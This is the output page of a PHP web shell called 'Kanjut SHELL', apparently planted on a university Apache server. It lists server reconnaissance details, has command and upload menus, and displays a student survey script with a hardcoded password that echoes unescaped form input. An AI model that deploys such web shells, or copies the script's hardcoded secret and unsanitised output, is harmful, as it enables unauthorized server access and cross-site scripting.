Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.188.59.124
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zcmccarel/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zcmccarel/www/3final.php
<?php	 session_start();		?>

<body>
<center>
<h2> Results </h2>
<HR>
<?php
        $pass = $_SESSION['psw'];
        if($pass != "ch7hw")
        {echo '<img src =
        "http://41.media.tumblr.com/tumblr_lzrnlduF7z1qaxzado1_500.png">';
        print "<br>Go away.";
        }
        else
        {
        $_SESSION['n'] = $_POST['name'];
        $_SESSION['g'] = $_POST['Gender']; 
        $_SESSION['gr'] = $_POST['Grade'];
        $_SESSION['c'] = $_POST['course'];

	print "Welcome". " " .$_SESSION['n'];
	print "<br>Class:". " " .$_SESSION['gr'];
	print "<br>Gender: ". "" .$_SESSION['g'];
	print "<br>Course: ". "" .$_SESSION['c'];
	print "<br><h2>Question Responses</h2><HR>";
	print "<br>Question 1: ". "" .$_POST['Q1'];
	print "<br>Comments: ". "" .$_POST['Q1T'];
        print "<br>Question 2: ". "" .$_POST['Q2'];
	print "<br>Comments: ". "" .$_POST['Q2T'];
	print "<br>Question 3: ". "" .$_POST['Q3'];
        print "<br>Comments: ". "" .$_POST['Q3T'];	
        print "<br>Question 4: ". "" .$_POST['Q4'];
	print "<br>Comments: ". "" .$_POST['Q4T'];
	
}
?>

	
	

Stv3n404 - 2023